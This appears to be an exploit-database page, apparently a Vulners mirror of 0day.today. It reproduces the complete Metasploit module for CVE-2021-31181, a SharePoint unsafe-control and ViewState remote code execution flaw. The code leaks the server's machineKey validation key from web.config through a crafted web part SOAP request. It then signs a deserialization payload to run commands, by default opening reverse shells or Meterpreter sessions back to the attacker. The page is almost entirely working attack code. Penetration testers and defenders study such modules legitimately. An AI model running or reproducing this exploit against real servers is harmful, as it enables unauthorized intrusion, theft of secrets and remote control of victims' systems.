Lucene search
K

Microsoft SharePoint Unsafe Control And ViewState Remote Code Execution Exploit

🗓️ 17 Jun 2021 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 245 Views

Microsoft SharePoint Unsafe Control and ViewState RCE. EditingPageParser.VerifyControlOnSafeList method fails to validate user data, leading to info leakage and code execution. Tested on SharePoint 2019/2016, Windows Server 2016

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Sharepoint
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell

  XML_NS = {
    'wpp' => 'http://microsoft.com/sharepoint/webpartpages',
    'soap' => 'http://www.w3.org/2003/05/soap-envelope',
    'xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
    'xsd' => 'http://www.w3.org/2001/XMLSchema'
  }.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft SharePoint Unsafe Control and ViewState RCE',
        'Description' => %q{
          The EditingPageParser.VerifyControlOnSafeList method fails to properly validate user supplied data. This
          can be leveraged by an attacker to leak sensitive information in rendered-preview content. This module will
          leak the ViewState validation key and then use it to sign a crafted object that will trigger code execution
          when deserialized.

          Tested against SharePoint 2019 and SharePoint 2016, both on Windows Server 2016.
        },
        'Author' => [
          'Unknown', # Reported to HP ZDI team, Vulnerability discovery
          'Spencer McIntyre', # Module
          'wvu' # Module
        ],
        'References' => [
          [ 'CVE', '2021-31181' ],
          [ 'ZDI', '21-573' ],
          [ 'URL', 'https://www.zerodayinitiative.com/blog/2021/6/1/cve-2021-31181-microsoft-sharepoint-webpart-interpretation-conflict-remote-code-execution-vulnerability' ]
        ],
        'DisclosureDate' => '2021-05-11',
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          [
            'Windows Command',
            {
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
              }
            }
          ],
          [
            'Windows Dropper',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :win_dropper,
              'DefaultOptions' => {
                'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,
                'PAYLOAD' => 'windows/x64/meterpreter_reverse_https'
              }
            }
          ],
          [
            'PowerShell Stager',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :psh_stager,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'
              }
            }
          ]
        ],
        'DefaultTarget' => 2,
        'DefaultOptions' => {
          'DotNetGadgetChain' => :TypeConfuseDelegate
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('VALIDATION_KEY', [false, 'ViewState validation key']),
      OptString.new('COOKIE', [false, 'SharePoint cookie if you have one']),
      OptString.new('SP_LIST', [true, 'SharePoint site SPList', 'Documents']),
      # "Promote" these advanced options so we don't have to pass around our own
      OptString.new('HttpUsername', [false, 'SharePoint username']),
      OptString.new('HttpPassword', [false, 'SharePoint password'])
    ])
  end

  def post_auth?
    true
  end

  def username
    datastore['HttpUsername']
  end

  def password
    datastore['HttpPassword']
  end

  def cookie
    datastore['COOKIE']
  end

  def vuln_builds
    # https://docs.microsoft.com/en-us/officeupdates/sharepoint-updates
    # https://buildnumbers.wordpress.com/sharepoint/
    # Patched in May of 2021
    [
      [Rex::Version.new('15.0.0.0'), Rex::Version.new('15.0.0.5337')], # SharePoint 2013
      [Rex::Version.new('16.0.0.0'), Rex::Version.new('16.0.0.5149')], # SharePoint 2016
      [Rex::Version.new('16.0.0.10000'), Rex::Version.new('16.0.0.10373')] # SharePoint 2019
    ]
  end

  def check
    build = sharepoint_get_version('cookie' => cookie)

    if build.nil?
      return CheckCode::Unknown('Failed to retrieve the SharePoint version number')
    end

    if vuln_builds.any? { |build_range| build.between?(*build_range) }
      return CheckCode::Appears("SharePoint #{build} is a vulnerable build.")
    end

    CheckCode::Safe("SharePoint #{build} is not a vulnerable build.")
  end

  def exploit
    if (username.blank? && password.blank?)
      if cookie.blank?
        fail_with(Failure::BadConfig, 'HttpUsername and HttpPassword or COOKIE are required for exploitation')
      end

      print_warning('Using the specified COOKIE for authentication')
    end

    if (@validation_key = datastore['VALIDATION_KEY'])
      print_status("Using ViewState validation key #{@validation_key}")
    else
      leak_web_config
    end

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    case target['Type']
    when :win_cmd
      execute_command(payload.encoded)
    when :win_dropper
      execute_cmdstager
    when :psh_stager
      execute_command(cmd_psh_payload(
        payload.encoded,
        payload.arch.first,
        remove_comspec: true
      ))
    end
  end

  def leak_web_config
    print_status('Leaking the ViewState validation key...')

    web_id = sharepoint_get_site_web_id('cookie' => cookie)
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve the site web ID') unless web_id

    webpart = <<~WEBPART
      <%@ Register TagPrefix="WebPartPages" Namespace="Microsoft.SharePoint.WebPartPage" Assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
      <%@ Register TagPrefix="att" Namespace="System.Web.UI.WebControls " Assembly="System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" %>
    WEBPART
    webpart << Nokogiri::XML(<<-WEBPART, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
      <WebPartPages:XsltListFormWebPart id="id01" runat="server" ListDisplayName="#{datastore['SP_LIST'].encode(xml: :text)}" WebId="{#{web_id.encode(xml: :text)}}">
        <DataSources>
          <att:xmldatasource runat="server" id="XDS1"
            XPath="/configuration/system.web/machineKey"
            datafile="c:/inetpub/wwwroot/wss/VirtualDirectories/80/web.config" />
        </DataSources>
        <xsl>
            <xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
                <xsl:output method="xml" indent="yes" />
                <xsl:template match="/">
                    <xsl:copy-of select="." />
                </xsl:template>
            </xsl:stylesheet>
        </xsl>
      </WebPartPages:XsltListFormWebPart>
    WEBPART

    envelope = '<?xml version="1.0" encoding="utf-8"?>'
    envelope << Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
      <soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
        <soap12:Body>
          <RenderWebPartForEdit xmlns="http://microsoft.com/sharepoint/webpartpages">
            <webPartXml>#{webpart.encode(xml: :text)}</webPartXml>
          </RenderWebPartForEdit>
        </soap12:Body>
      </soap12:Envelope>
    ENVELOPE

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '_vti_bin', 'WebPartPages.asmx'),
      'cookie' => cookie,
      'ctype' => 'application/soap+xml; charset=utf-8',
      'data' => envelope
    )

    unless res
      fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
    end

    unless res.code == 200
      fail_with(Failure::NotFound, "Failed to retrieve #{normalize_uri(target_uri.path, '_vti_bin', 'WebPartPages.asmx')}")
    end

    xml_response = res.get_xml_document
    if xml_response.nil?
      fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (non-XML response body)')
    end

    xml_result = xml_response.xpath('//wpp:RenderWebPartForEditResult', XML_NS)&.text
    unless xml_result
      fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing xpath: //wpp:RenderWebPartForEditResult)')
    end

    xml_result = Nokogiri::XML(xml_result)
    web_part_pages = Nokogiri::XML(xml_result.xpath('//Properties').text)
    unless web_part_pages&.root
      fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing xpath: //Properties)')
    end

    unless (preview = web_part_pages.root.attr('__designer:Preview'))
      fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing attribute: __desiginer:Preview)')
    end
    preview = Nokogiri::HTML(CGI.unescapeHTML(preview))
    unless (@validation_key = preview.at('//machinekey/@validationkey')&.text)
      fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing xpath: //machinekey/@validationkey)')
    end

    print_good("ViewState validation key: #{@validation_key}")
  end

  def execute_command(cmd, _opts = {})
    sharepoint_execute_command_via_viewstate(cmd, @validation_key, { 'cookie' => cookie })
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation